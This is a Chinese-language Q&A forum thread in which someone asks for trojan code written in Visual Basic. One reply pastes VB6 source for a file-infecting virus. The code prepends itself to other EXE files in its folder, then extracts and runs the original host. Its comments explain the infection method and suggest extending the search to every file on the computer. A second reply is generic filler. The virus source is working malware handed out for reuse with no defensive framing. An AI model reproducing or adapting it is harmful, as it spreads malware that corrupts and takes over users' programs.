谁有VB编写的木马代码?可不可以参考下

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以下 内容均转自别处，由于文章部分丢失，所以未能注明 出处 。请原作者见谅，希望对楼主有用：

“

Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码

Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码

If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件（不是圈套）
End If
End If
'读出准备被感染的文件的代码

Victim = Dir() 'Next

Wend

'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1

idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出错处理，空着就可以了

End Sub

”

你好哦楼主~ 很高兴看到你的问题。 但是又很遗憾到现在还没有人回答你的问题。也可能你现在已经在别的地方找到了答案，那就得恭喜你啦。 可能是你问的问题有些专业了，没人会。或者别人没有遇到或者接触过你的问题，所以帮不了你。建议你去问题的相关论坛去求助，那里的人通常比较多，也会比较热心，能快点帮你解决问题。 希望我的回答能够帮到你！ 祝你好运。。

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